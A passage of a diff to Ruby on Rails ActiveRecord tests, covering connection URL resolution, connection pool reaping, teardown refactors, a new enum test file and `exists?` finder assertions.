+ def test_url_with_hyphenated_scheme
+ ENV['DATABASE_URL'] = "ibm-db://localhost/foo"
+ config = { "default_env" => { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost" } }
+ actual = resolve_spec(:default_env, config)
+ expected = { "adapter"=>"ibm_db", "database"=>"foo", "host"=>"localhost" }
+ assert_equal expected, actual
+ end
+
+ def test_string_connection
+ config = { "default_env" => "postgres://localhost/foo" }
+ actual = resolve_config(config)
+ expected = { "default_env" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_url_sub_key
+ config = { "default_env" => { "url" => "postgres://localhost/foo" } }
+ actual = resolve_config(config)
+ expected = { "default_env" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_hash
+ config = { "production" => { "adapter" => "postgres", "database" => "foo" } }
+ actual = resolve_config(config)
+ assert_equal config, actual
+ end
+
+ def test_blank
+ config = {}
+ actual = resolve_config(config)
+ assert_equal config, actual
+ end
+
+ def test_blank_with_database_url
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+ config = {}
+ actual = resolve_config(config)
+ expected = { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost" }
+ assert_equal expected, actual["default_env"]
+ assert_equal nil, actual["production"]
+ assert_equal nil, actual["development"]
+ assert_equal nil, actual["test"]
+ assert_equal nil, actual[:production]
+ assert_equal nil, actual[:development]
+ assert_equal nil, actual[:test]
+ end
+
+ def test_url_sub_key_with_database_url
+ ENV['DATABASE_URL'] = "NOT-POSTGRES://localhost/NOT_FOO"
+
+ config = { "default_env" => { "url" => "postgres://localhost/foo" } }
+ actual = resolve_config(config)
+ expected = { "default_env" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_merge_no_conflicts_with_database_url
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+ config = {"default_env" => { "pool" => "5" } }
+ actual = resolve_config(config)
+ expected = { "default_env" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost",
+ "pool" => "5"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_merge_conflicts_with_database_url
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+ config = {"default_env" => { "adapter" => "NOT-POSTGRES", "database" => "NOT-FOO", "pool" => "5" } }
+ actual = resolve_config(config)
+ expected = { "default_env" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost",
+ "pool" => "5"
+ }
+ }
+ assert_equal expected, actual
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/connection_management_test.rb b/activerecord/test/cases/connection_management_test.rb
index fe1b40d884..77d9ae9b8e 100644
--- a/activerecord/test/cases/connection_management_test.rb
+++ b/activerecord/test/cases/connection_management_test.rb
@@ -26,25 +26,27 @@ module ActiveRecord
assert ActiveRecord::Base.connection_handler.active_connections?
end
- def test_connection_pool_per_pid
- return skip('must support fork') unless Process.respond_to?(:fork)
+ if Process.respond_to?(:fork)
+ def test_connection_pool_per_pid
+ object_id = ActiveRecord::Base.connection.object_id
- object_id = ActiveRecord::Base.connection.object_id
+ rd, wr = IO.pipe
+ rd.binmode
+ wr.binmode
- rd, wr = IO.pipe
+ pid = fork {
+ rd.close
+ wr.write Marshal.dump ActiveRecord::Base.connection.object_id
+ wr.close
+ exit!
+ }
- pid = fork {
- rd.close
- wr.write Marshal.dump ActiveRecord::Base.connection.object_id
wr.close
- exit!
- }
-
- wr.close
- Process.waitpid pid
- assert_not_equal object_id, Marshal.load(rd.read)
- rd.close
+ Process.waitpid pid
+ assert_not_equal object_id, Marshal.load(rd.read)
+ rd.close
+ end
end
def test_app_delegation
@@ -80,9 +82,9 @@ module ActiveRecord
end
def test_connections_closed_if_exception
- app = Class.new(App) { def call(env); raise; end }.new
+ app = Class.new(App) { def call(env); raise NotImplementedError; end }.new
explosive = ConnectionManagement.new(app)
- assert_raises(RuntimeError) { explosive.call(@env) }
+ assert_raises(NotImplementedError) { explosive.call(@env) }
assert !ActiveRecord::Base.connection_handler.active_connections?
end
diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb
index d5365b695e..8d15a76735 100644
--- a/activerecord/test/cases/connection_pool_test.rb
+++ b/activerecord/test/cases/connection_pool_test.rb
@@ -1,4 +1,5 @@
require "cases/helper"
+require 'active_support/concurrency/latch'
module ActiveRecord
module ConnectionAdapters
@@ -22,8 +23,7 @@ module ActiveRecord
end
end
- def teardown
- super
+ teardown do
@pool.disconnect!
end
@@ -89,10 +89,9 @@ module ActiveRecord
end
def test_full_pool_exception
+ @pool.size.times { @pool.checkout }
assert_raises(ConnectionTimeoutError) do
- (@pool.size + 1).times do
- @pool.checkout
- end
+ @pool.checkout
end
end
@@ -118,13 +117,13 @@ module ActiveRecord
connection = cs.first
@pool.remove connection
assert_respond_to t.join.value, :execute
+ connection.close
end
def test_reap_and_active
@pool.checkout
@pool.checkout
@pool.checkout
- @pool.dead_connection_timeout = 0
connections = @pool.connections.dup
@@ -134,21 +133,25 @@ module ActiveRecord
end
def test_reap_inactive
+ ready = ActiveSupport::Concurrency::Latch.new
@pool.checkout
- @pool.checkout
- @pool.checkout
- @pool.dead_connection_timeout = 0
-
- connections = @pool.connections.dup
- connections.each do |conn|
- conn.extend(Module.new { def active?; false; end; })
+ child = Thread.new do
+ @pool.checkout
+ @pool.checkout
+ ready.release
+ Thread.stop
end
+ ready.await
+
+ assert_equal 3, active_connections(@pool).size
+ child.terminate
+ child.join
@pool.reap
- assert_equal 0, @pool.connections.length
+ assert_equal 1, active_connections(@pool).size
ensure
- connections.each(&:close)
+ @pool.connections.each(&:close)
end
def test_remove_connection
diff --git a/activerecord/test/cases/connection_specification/resolver_test.rb b/activerecord/test/cases/connection_specification/resolver_test.rb
index c8dfc3244b..3c2f5d4219 100644
--- a/activerecord/test/cases/connection_specification/resolver_test.rb
+++ b/activerecord/test/cases/connection_specification/resolver_test.rb
@@ -4,59 +4,112 @@ module ActiveRecord
module ConnectionAdapters
class ConnectionSpecification
class ResolverTest < ActiveRecord::TestCase
- def resolve(spec)
- Resolver.new(spec, {}).spec.config
+ def resolve(spec, config={})
+ Resolver.new(config).resolve(spec)
+ end
+
+ def spec(spec, config={})
+ Resolver.new(config).spec(spec)
end
def test_url_invalid_adapter
- assert_raises(LoadError) do
- resolve 'ridiculous://foo?encoding=utf8'
+ error = assert_raises(LoadError) do
+ spec 'ridiculous://foo?encoding=utf8'
end
+
+ assert_match "Could not load 'active_record/connection_adapters/ridiculous_adapter'", error.message
end
# The abstract adapter is used simply to bypass the bit of code that
# checks that the adapter file can be required in.
+ def test_url_from_environment
+ spec = resolve :production, 'production' => 'abstract://foo?encoding=utf8'
+ assert_equal({
+ "adapter" => "abstract",
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
+ end
+
+ def test_url_sub_key
+ spec = resolve :production, 'production' => {"url" => 'abstract://foo?encoding=utf8'}
+ assert_equal({
+ "adapter" => "abstract",
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
+ end
+
+ def test_url_sub_key_merges_correctly
+ hash = {"url" => 'abstract://foo?encoding=utf8&', "adapter" => "sqlite3", "host" => "bar", "pool" => "3"}
+ spec = resolve :production, 'production' => hash
+ assert_equal({
+ "adapter" => "abstract",
+ "host" => "foo",
+ "encoding" => "utf8",
+ "pool" => "3" }, spec)
+ end
+
def test_url_host_no_db
spec = resolve 'abstract://foo?encoding=utf8'
assert_equal({
- adapter: "abstract",
- host: "foo",
- encoding: "utf8" }, spec)
+ "adapter" => "abstract",
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
end
def test_url_host_db
spec = resolve 'abstract://foo/bar?encoding=utf8'
assert_equal({
- adapter: "abstract",
- database: "bar",
- host: "foo",
- encoding: "utf8" }, spec)
+ "adapter" => "abstract",
+ "database" => "bar",
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
end
def test_url_port
spec = resolve 'abstract://foo:123?encoding=utf8'
assert_equal({
- adapter: "abstract",
- port: 123,
- host: "foo",
- encoding: "utf8" }, spec)
+ "adapter" => "abstract",
+ "port" => 123,
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
end
def test_encoded_password
password = 'am@z1ng_p@ssw0rd#!'
encoded_password = URI.encode_www_form_component(password)
spec = resolve "abstract://foo:#{encoded_password}@localhost/bar"
- assert_equal password, spec[:password]
+ assert_equal password, spec["password"]
end
- def test_descriptive_error_message_when_adapter_is_missing
- error = assert_raise(LoadError) do
- resolve(adapter: 'non-existing')
- end
+ def test_url_with_authority_for_sqlite3
+ spec = resolve 'sqlite3:///foo_test'
+ assert_equal('/foo_test', spec["database"])
+ end
- assert_match "Could not load 'active_record/connection_adapters/non-existing_adapter'", error.message
+ def test_url_absolute_path_for_sqlite3
+ spec = resolve 'sqlite3:/foo_test'
+ assert_equal('/foo_test', spec["database"])
end
+
+ def test_url_relative_path_for_sqlite3
+ spec = resolve 'sqlite3:foo_test'
+ assert_equal('foo_test', spec["database"])
+ end
+
+ def test_url_memory_db_for_sqlite3
+ spec = resolve 'sqlite3::memory:'
+ assert_equal(':memory:', spec["database"])
+ end
+
+ def test_url_sub_key_for_sqlite3
+ spec = resolve :production, 'production' => {"url" => 'sqlite3:foo?encoding=utf8'}
+ assert_equal({
+ "adapter" => "sqlite3",
+ "database" => "foo",
+ "encoding" => "utf8" }, spec)
+ end
+
end
end
end
diff --git a/activerecord/test/cases/date_time_test.rb b/activerecord/test/cases/date_time_test.rb
index 427076bd80..c0491bbee5 100644
--- a/activerecord/test/cases/date_time_test.rb
+++ b/activerecord/test/cases/date_time_test.rb
@@ -5,7 +5,7 @@ require 'models/task'
class DateTimeTest < ActiveRecord::TestCase
def test_saves_both_date_and_time
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :utc do
+ with_timezone_config default: :utc do
time_values = [1807, 2, 10, 15, 30, 45]
# create DateTime value with local time zone offset
local_offset = Rational(Time.local(*time_values).utc_offset, 86400)
diff --git a/activerecord/test/cases/defaults_test.rb b/activerecord/test/cases/defaults_test.rb
index 7e3d91e08c..7d438803a1 100644
--- a/activerecord/test/cases/defaults_test.rb
+++ b/activerecord/test/cases/defaults_test.rb
@@ -206,7 +206,7 @@ if current_adapter?(:PostgreSQLAdapter)
assert_equal "some text", Default.new.text_col, "Default of text column was not correctly parse after updating default using '::text' since postgreSQL will add parens to the default in db"
end
- def teardown
+ teardown do
@connection.schema_search_path = @old_search_path
Default.reset_column_information
end
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
index 36b87033ae..df4183c065 100644
--- a/activerecord/test/cases/dirty_test.rb
+++ b/activerecord/test/cases/dirty_test.rb
@@ -125,30 +125,30 @@ class DirtyTest < ActiveRecord::TestCase
end
def test_time_attributes_changes_without_time_zone
- target = Class.new(ActiveRecord::Base)
- target.table_name = 'pirates'
-
- target.time_zone_aware_attributes = false
+ with_timezone_config aware_attributes: false do
+ target = Class.new(ActiveRecord::Base)
+ target.table_name = 'pirates'
- # New record - no changes.
- pirate = target.new
- assert !pirate.created_on_changed?
- assert_nil pirate.created_on_change
+ # New record - no changes.
+ pirate = target.new
+ assert !pirate.created_on_changed?
+ assert_nil pirate.created_on_change
- # Saved - no changes.
- pirate.catchphrase = 'arrrr, time zone!!'
- pirate.save!
- assert !pirate.created_on_changed?
- assert_nil pirate.created_on_change
+ # Saved - no changes.
+ pirate.catchphrase = 'arrrr, time zone!!'
+ pirate.save!
+ assert !pirate.created_on_changed?
+ assert_nil pirate.created_on_change
- # Change created_on.
- old_created_on = pirate.created_on
- pirate.created_on = Time.now + 1.day
- assert pirate.created_on_changed?
- # kind_of does not work because
- # ActiveSupport::TimeWithZone.name == 'Time'
- assert_instance_of Time, pirate.created_on_was
- assert_equal old_created_on, pirate.created_on_was
+ # Change created_on.
+ old_created_on = pirate.created_on
+ pirate.created_on = Time.now + 1.day
+ assert pirate.created_on_changed?
+ # kind_of does not work because
+ # ActiveSupport::TimeWithZone.name == 'Time'
+ assert_instance_of Time, pirate.created_on_was
+ assert_equal old_created_on, pirate.created_on_was
+ end
end
@@ -584,6 +584,14 @@ class DirtyTest < ActiveRecord::TestCase
end
end
+ def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
+ time_in_paris = Time.utc(2014, 1, 1, 12, 0, 0).in_time_zone('Paris')
+ pirate = Pirate.create!(:catchphrase => 'rrrr', :created_on => time_in_paris)
+
+ pirate.created_on = pirate.created_on.in_time_zone('Tokyo').to_s
+ assert !pirate.created_on_changed?
+ end
+
test "partial insert" do
with_partial_writes Person do
jon = nil
@@ -608,20 +616,6 @@ class DirtyTest < ActiveRecord::TestCase
end
end
- test "partial_updates config attribute is deprecated" do
- klass = Class.new(ActiveRecord::Base)
-
- assert klass.partial_writes?
- assert_deprecated { assert klass.partial_updates? }
- assert_deprecated { assert klass.partial_updates }
-
- assert_deprecated { klass.partial_updates = false }
-
- assert !klass.partial_writes?
- assert_deprecated { assert !klass.partial_updates? }
- assert_deprecated { assert !klass.partial_updates }
- end
-
private
def with_partial_writes(klass, on = true)
old = klass.partial_writes?
diff --git a/activerecord/test/cases/disconnected_test.rb b/activerecord/test/cases/disconnected_test.rb
index 1fecfd077e..94447addc1 100644
--- a/activerecord/test/cases/disconnected_test.rb
+++ b/activerecord/test/cases/disconnected_test.rb
@@ -7,21 +7,22 @@ class TestDisconnectedAdapter < ActiveRecord::TestCase
self.use_transactional_fixtures = false
def setup
- skip "in-memory database mustn't disconnect" if in_memory_db?
@connection = ActiveRecord::Base.connection
end
- def teardown
+ teardown do
return if in_memory_db?
spec = ActiveRecord::Base.connection_config
ActiveRecord::Base.establish_connection(spec)
end
- test "can't execute statements while disconnected" do
- @connection.execute "SELECT count(*) from products"
- @connection.disconnect!
- assert_raises(ActiveRecord::StatementInvalid) do
+ unless in_memory_db?
+ test "can't execute statements while disconnected" do
@connection.execute "SELECT count(*) from products"
+ @connection.disconnect!
+ assert_raises(ActiveRecord::StatementInvalid) do
+ @connection.execute "SELECT count(*) from products"
+ end
end
end
end
diff --git a/activerecord/test/cases/dup_test.rb b/activerecord/test/cases/dup_test.rb
index f73e449610..409d9a82e2 100644
--- a/activerecord/test/cases/dup_test.rb
+++ b/activerecord/test/cases/dup_test.rb
@@ -1,4 +1,5 @@
require "cases/helper"
+require 'models/reply'
require 'models/topic'
module ActiveRecord
@@ -32,6 +33,14 @@ module ActiveRecord
assert duped.new_record?, 'topic is new'
end
+ def test_dup_not_destroyed
+ topic = Topic.first
+ topic.destroy
+
+ duped = topic.dup
+ assert_not duped.destroyed?
+ end
+
def test_dup_has_no_id
topic = Topic.first
duped = topic.dup
@@ -126,7 +135,7 @@ module ActiveRecord
def test_dup_with_default_scope
prev_default_scopes = Topic.default_scopes
- Topic.default_scopes = [Topic.where(:approved => true)]
+ Topic.default_scopes = [proc { Topic.where(:approved => true) }]
topic = Topic.new(:approved => false)
assert !topic.dup.approved?, "should not be overridden by default scopes"
ensure
diff --git a/activerecord/test/cases/enum_test.rb b/activerecord/test/cases/enum_test.rb
new file mode 100644
index 0000000000..3b2f0dfe07
--- /dev/null
+++ b/activerecord/test/cases/enum_test.rb
@@ -0,0 +1,289 @@
+require 'cases/helper'
+require 'models/book'
+
+class EnumTest < ActiveRecord::TestCase
+ fixtures :books
+
+ setup do
+ @book = books(:awdr)
+ end
+
+ test "query state by predicate" do
+ assert @book.proposed?
+ assert_not @book.written?
+ assert_not @book.published?
+
+ assert @book.unread?
+ end
+
+ test "query state with strings" do
+ assert_equal "proposed", @book.status
+ assert_equal "unread", @book.read_status
+ end
+
+ test "find via scope" do
+ assert_equal @book, Book.proposed.first
+ assert_equal @book, Book.unread.first
+ end
+
+ test "update by declaration" do
+ @book.written!
+ assert @book.written?
+ end
+
+ test "update by setter" do
+ @book.update! status: :written
+ assert @book.written?
+ end
+
+ test "enum methods are overwritable" do
+ assert_equal "do publish work...", @book.published!
+ assert @book.published?
+ end
+
+ test "direct assignment" do
+ @book.status = :written
+ assert @book.written?
+ end
+
+ test "assign string value" do
+ @book.status = "written"
+ assert @book.written?
+ end
+
+ test "enum changed attributes" do
+ old_status = @book.status
+ @book.status = :published
+ assert_equal old_status, @book.changed_attributes[:status]
+ end
+
+ test "enum changes" do
+ old_status = @book.status
+ @book.status = :published
+ assert_equal [old_status, 'published'], @book.changes[:status]
+ end
+
+ test "enum attribute was" do
+ old_status = @book.status
+ @book.status = :published
+ assert_equal old_status, @book.attribute_was(:status)
+ end
+
+ test "enum attribute changed" do
+ @book.status = :published
+ assert @book.attribute_changed?(:status)
+ end
+
+ test "enum attribute changed to" do
+ @book.status = :published
+ assert @book.attribute_changed?(:status, to: 'published')
+ end
+
+ test "enum attribute changed from" do
+ old_status = @book.status
+ @book.status = :published
+ assert @book.attribute_changed?(:status, from: old_status)
+ end
+
+ test "enum attribute changed from old status to new status" do
+ old_status = @book.status
+ @book.status = :published
+ assert @book.attribute_changed?(:status, from: old_status, to: 'published')
+ end
+
+ test "enum didn't change" do
+ old_status = @book.status
+ @book.status = old_status
+ assert_not @book.attribute_changed?(:status)
+ end
+
+ test "persist changes that are dirty" do
+ @book.status = :published
+ assert @book.attribute_changed?(:status)
+ @book.status = :written
+ assert @book.attribute_changed?(:status)
+ end
+
+ test "reverted changes that are not dirty" do
+ old_status = @book.status
+ @book.status = :published
+ assert @book.attribute_changed?(:status)
+ @book.status = old_status
+ assert_not @book.attribute_changed?(:status)
+ end
+
+ test "reverted changes are not dirty going from nil to value and back" do
+ book = Book.create!(nullable_status: nil)
+
+ book.nullable_status = :married
+ assert book.attribute_changed?(:nullable_status)
+
+ book.nullable_status = nil
+ assert_not book.attribute_changed?(:nullable_status)
+ end
+
+ test "assign non existing value raises an error" do
+ e = assert_raises(ArgumentError) do
+ @book.status = :unknown
+ end
+ assert_equal "'unknown' is not a valid status", e.message
+ end
+
+ test "assign nil value" do
+ @book.status = nil
+ assert @book.status.nil?
+ end
+
+ test "assign empty string value" do
+ @book.status = ''
+ assert @book.status.nil?
+ end
+
+ test "assign long empty string value" do
+ @book.status = ' '
+ assert @book.status.nil?
+ end
+
+ test "constant to access the mapping" do
+ assert_equal 0, Book.statuses[:proposed]
+ assert_equal 1, Book.statuses["written"]
+ assert_equal 2, Book.statuses[:published]
+ end
+
+ test "building new objects with enum scopes" do
+ assert Book.written.build.written?
+ assert Book.read.build.read?
+ end
+
+ test "creating new objects with enum scopes" do
+ assert Book.written.create.written?
+ assert Book.read.create.read?
+ end
+
+ test "_before_type_cast returns the enum label (required for form fields)" do
+ assert_equal "proposed", @book.status_before_type_cast
+ end
+
+ test "reserved enum names" do
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = "books"
+ enum status: [:proposed, :written, :published]
+ end
+
+ conflicts = [
+ :column, # generates class method .columns, which conflicts with an AR method
+ :logger, # generates #logger, which conflicts with an AR method
+ :attributes, # generates #attributes=, which conflicts with an AR method
+ ]
+
+ conflicts.each_with_index do |name, i|
+ assert_raises(ArgumentError, "enum name `#{name}` should not be allowed") do
+ klass.class_eval { enum name => ["value_#{i}"] }
+ end
+ end
+ end
+
+ test "reserved enum values" do
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = "books"
+ enum status: [:proposed, :written, :published]
+ end
+
+ conflicts = [
+ :new, # generates a scope that conflicts with an AR class method
+ :valid, # generates #valid?, which conflicts with an AR method
+ :save, # generates #save!, which conflicts with an AR method
+ :proposed, # same value as an existing enum
+ :public, :private, :protected, # generates a method that conflict with ruby words
+ ]
+
+ conflicts.each_with_index do |value, i|
+ assert_raises(ArgumentError, "enum value `#{value}` should not be allowed") do
+ klass.class_eval { enum "status_#{i}" => [value] }
+ end
+ end
+ end
+
+ test "overriding enum method should not raise" do
+ assert_nothing_raised do
+ Class.new(ActiveRecord::Base) do
+ self.table_name = "books"
+
+ def published!
+ super
+ "do publish work..."
+ end
+
+ enum status: [:proposed, :written, :published]
+
+ def written!
+ super
+ "do written work..."
+ end
+ end
+ end
+ end
+
+ test "validate uniqueness" do
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Book'; end
+ enum status: [:proposed, :written]
+ validates_uniqueness_of :status
+ end
+ klass.delete_all
+ klass.create!(status: "proposed")
+ book = klass.new(status: "written")
+ assert book.valid?
+ book.status = "proposed"
+ assert_not book.valid?
+ end
+
+ test "validate inclusion of value in array" do
+ klass = Class.new(ActiveRecord::Base) do
+ def self.name; 'Book'; end
+ enum status: [:proposed, :written]
+ validates_inclusion_of :status, in: ["written"]
+ end
+ klass.delete_all
+ invalid_book = klass.new(status: "proposed")
+ assert_not invalid_book.valid?
+ valid_book = klass.new(status: "written")
+ assert valid_book.valid?
+ end
+
+ test "enums are distinct per class" do
+ klass1 = Class.new(ActiveRecord::Base) do
+ self.table_name = "books"
+ enum status: [:proposed, :written]
+ end
+
+ klass2 = Class.new(ActiveRecord::Base) do
+ self.table_name = "books"
+ enum status: [:drafted, :uploaded]
+ end
+
+ book1 = klass1.proposed.create!
+ book1.status = :written
+ assert_equal ['proposed', 'written'], book1.status_change
+
+ book2 = klass2.drafted.create!
+ book2.status = :uploaded
+ assert_equal ['drafted', 'uploaded'], book2.status_change
+ end
+
+ test "enums are inheritable" do
+ subklass1 = Class.new(Book)
+
+ subklass2 = Class.new(Book) do
+ enum status: [:drafted, :uploaded]
+ end
+
+ book1 = subklass1.proposed.create!
+ book1.status = :written
+ assert_equal ['proposed', 'written'], book1.status_change
+
+ book2 = subklass2.drafted.create!
+ book2.status = :uploaded
+ assert_equal ['drafted', 'uploaded'], book2.status_change
+ end
+end
diff --git a/activerecord/test/cases/explain_subscriber_test.rb b/activerecord/test/cases/explain_subscriber_test.rb
index b00e2744b9..8de2ddb10d 100644
--- a/activerecord/test/cases/explain_subscriber_test.rb
+++ b/activerecord/test/cases/explain_subscriber_test.rb
@@ -48,7 +48,7 @@ if ActiveRecord::Base.connection.supports_explain?
assert queries.empty?
end
- def teardown
+ teardown do
ActiveRecord::ExplainRegistry.reset
end
diff --git a/activerecord/test/cases/explain_test.rb b/activerecord/test/cases/explain_test.rb
index 6dac5db111..9d25bdd82a 100644
--- a/activerecord/test/cases/explain_test.rb
+++ b/activerecord/test/cases/explain_test.rb
@@ -26,8 +26,12 @@ if ActiveRecord::Base.connection.supports_explain?
sql, binds = queries[0]
assert_match "SELECT", sql
- assert_match "honda", sql
- assert_equal [], binds
+ if binds.any?
+ assert_equal 1, binds.length
+ assert_equal "honda", binds.flatten.last
+ else
+ assert_match 'honda', sql
+ end
end
def test_exec_explain_with_no_binds
diff --git a/activerecord/test/cases/finder_respond_to_test.rb b/activerecord/test/cases/finder_respond_to_test.rb
index 6101eb7b68..6ab2657c44 100644
--- a/activerecord/test/cases/finder_respond_to_test.rb
+++ b/activerecord/test/cases/finder_respond_to_test.rb
@@ -5,6 +5,11 @@ class FinderRespondToTest < ActiveRecord::TestCase
fixtures :topics
+ def test_should_preserve_normal_respond_to_behaviour_on_base
+ assert_respond_to ActiveRecord::Base, :new
+ assert !ActiveRecord::Base.respond_to?(:find_by_something)
+ end
+
def test_should_preserve_normal_respond_to_behaviour_and_respond_to_newly_added_method
class << Topic; self; end.send(:define_method, :method_added_for_finder_respond_to_test) { }
assert_respond_to Topic, :method_added_for_finder_respond_to_test
@@ -21,6 +26,11 @@ class FinderRespondToTest < ActiveRecord::TestCase
assert_respond_to Topic, :find_by_title
end
+ def test_should_respond_to_find_by_with_bang
+ ensure_topic_method_is_not_cached(:find_by_title!)
+ assert_respond_to Topic, :find_by_title!
+ end
+
def test_should_respond_to_find_by_two_attributes
ensure_topic_method_is_not_cached(:find_by_title_and_author_name)
assert_respond_to Topic, :find_by_title_and_author_name
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
index 6f0de42aef..c0440744e9 100644
--- a/activerecord/test/cases/finder_test.rb
+++ b/activerecord/test/cases/finder_test.rb
@@ -11,6 +11,8 @@ require 'models/project'
require 'models/developer'
require 'models/customer'
require 'models/toy'
+require 'models/matey'
+require 'models/dog'
class FinderTest < ActiveRecord::TestCase
fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :customers, :categories, :categorizations
@@ -31,6 +33,12 @@ class FinderTest < ActiveRecord::TestCase
assert_equal(topics(:first).title, Topic.find(1).title)
end
+ def test_find_passing_active_record_object_is_deprecated
+ assert_deprecated do
+ Topic.find(Topic.last)
+ end
+ end
+
def test_symbols_table_ref
Post.first # warm up
x = Symbol.all_symbols.count
@@ -45,26 +53,44 @@ class FinderTest < ActiveRecord::TestCase
end
def test_exists
- assert Topic.exists?(1)
- assert Topic.exists?("1")
- assert Topic.exists?(title: "The First Topic")
- assert Topic.exists?(heading: "The First Topic")
- assert Topic.exists?(:author_name => "Mary", :approved => true)
- assert Topic.exists?(["parent_id = ?", 1])
- assert !Topic.exists?(45)
- assert !Topic.exists?(Topic.new)
-
- begin
- assert !Topic.exists?("foo")
- rescue ActiveRecord::StatementInvalid
- # PostgreSQL complains about string comparison with integer field
- rescue Exception
- flunk
- end
+ assert_equal true, Topic.exists?(1)
+ assert_equal true, Topic.exists?("1")
+ assert_equal true, Topic.exists?(title: "The First Topic")
+ assert_equal true, Topic.exists?(heading: "The First Topic")
+ assert_equal true, Topic.exists?(:author_name => "Mary", :approved => true)
+ assert_equal true, Topic.exists?(["parent_id = ?", 1])
+ assert_equal true, Topic.exists?(id: [1, 9999])
+
+ assert_equal false, Topic.exists?(45)
+ assert_equal false, Topic.exists?(Topic.new.id)
assert_raise(NoMethodError) { Topic.exists?([1,2]) }
end
+ def test_exists_passing_active_record_object_is_deprecated
+ assert_deprecated do
+ Topic.exists?(Topic.new)
+ end
+ end
+
+ def test_exists_fails_when_parameter_has_invalid_type
+ if current_adapter?(:PostgreSQLAdapter, :MysqlAdapter)
+ assert_raises ActiveRecord::StatementInvalid do
+ Topic.exists?(("9"*53).to_i) # number that's bigger than int
+ end
+ else
+ assert_equal false, Topic.exists?(("9"*53).to_i) # number that's bigger than int
+ end
+
+ if current_adapter?(:PostgreSQLAdapter)
+ assert_raises ActiveRecord::StatementInvalid do
+ Topic.exists?("foo")
+ end
+ else
+ assert_equal false, Topic.exists?("foo")
+ end
+ end
+
def test_exists_does_not_select_columns_without_alias
assert_sql(/SELECT\W+1 AS one FROM ["`]topics["`]/i) do
Topic.exists?
@@ -72,61 +98,62 @@ class FinderTest < ActiveRecord::TestCase
end
def test_exists_returns_true_with_one_record_and_no_args
- assert Topic.exists?
+ assert_equal true, Topic.exists?
end
def test_exists_returns_false_with_false_arg
- assert !Topic.exists?(false)
+ assert_equal false, Topic.exists?(false)
end
# exists? should handle nil for id's that come from URLs and always return false
# (example: Topic.exists?(params[:id])) where params[:id] is nil
def test_exists_with_nil_arg
- assert !Topic.exists?(nil)
- assert Topic.exists?
- assert !Topic.first.replies.exists?(nil)
- assert Topic.first.replies.exists?
+ assert_equal false, Topic.exists?(nil)
+ assert_equal true, Topic.exists?
+
+ assert_equal false, Topic.first.replies.exists?(nil)
+ assert_equal true, Topic.first.replies.exists?
end
# ensures +exists?+ runs valid SQL by excluding order value
def test_exists_with_order
- assert Topic.order(:id).distinct.exists?
+ assert_equal true, Topic.order(:id).distinct.exists?
end
def test_exists_with_includes_limit_and_empty_result
- assert !Topic.includes(:replies).limit(0).exists?
- assert !Topic.includes(:replies).limit(1).where('0 = 1').exists?
+ assert_equal false, Topic.includes(:replies).limit(0).exists?
+ assert_equal false, Topic.includes(:replies).limit(1).where('0 = 1').exists?
end
def test_exists_with_distinct_association_includes_and_limit
author = Author.first
- assert !author.unique_categorized_posts.includes(:special_comments).limit(0).exists?
- assert author.unique_categorized_posts.includes(:special_comments).limit(1).exists?
+ assert_equal false, author.unique_categorized_posts.includes(:special_comments).limit(0).exists?
+ assert_equal true, author.unique_categorized_posts.includes(:special_comments).limit(1).exists?
end
def test_exists_with_distinct_association_includes_limit_and_order
author = Author.first
- assert !author.unique_categorized_posts.includes(:special_comments).order('comments.taggings_count DESC').limit(0).exists?
- assert author.unique_categorized_posts.includes(:special_comments).order('comments.taggings_count DESC').limit(1).exists?
+ assert_equal false, author.unique_categorized_posts.includes(:special_comments).order('comments.taggings_count DESC').limit(0).exists?
+ assert_equal true, author.unique_categorized_posts.includes(:special_comments).order('comments.taggings_count DESC').limit(1).exists?
end
def test_exists_with_empty_table_and_no_args_given
Topic.delete_all
- assert !Topic.exists?
+ assert_equal false, Topic.exists?
end
def test_exists_with_aggregate_having_three_mappings
existing_address = customers(:david).address
- assert Customer.exists?(:address => existing_address)
+ assert_equal true, Customer.exists?(:address => existing_address)
end
def test_exists_with_aggregate_having_three_mappings_with_one_difference
existing_address = customers(:david).address
- assert !Customer.exists?(:address =>
+ assert_equal false, Customer.exists?(:address =>
Address.new(existing_address.street, existing_address.city, existing_address.country + "1"))
- assert !Customer.exists?(:address =>
+ assert_equal false, Customer.exists?(:address =>
Address.new(existing_address.street, existing_address.city + "1", existing_address.country))
- assert !Customer.exists?(:address =>
+ assert_equal false, Customer.exists?(:address =>
Address.new(existing_address.street + "1", existing_address.city, existing_address.country))
end
@@ -146,14 +173,14 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_by_ids_with_limit_and_offset
- assert_equal 2, Entrant.all.merge!(:limit => 2).find([1,3,2]).size
- assert_equal 1, Entrant.all.merge!(:limit => 3, :offset => 2).find([1,3,2]).size
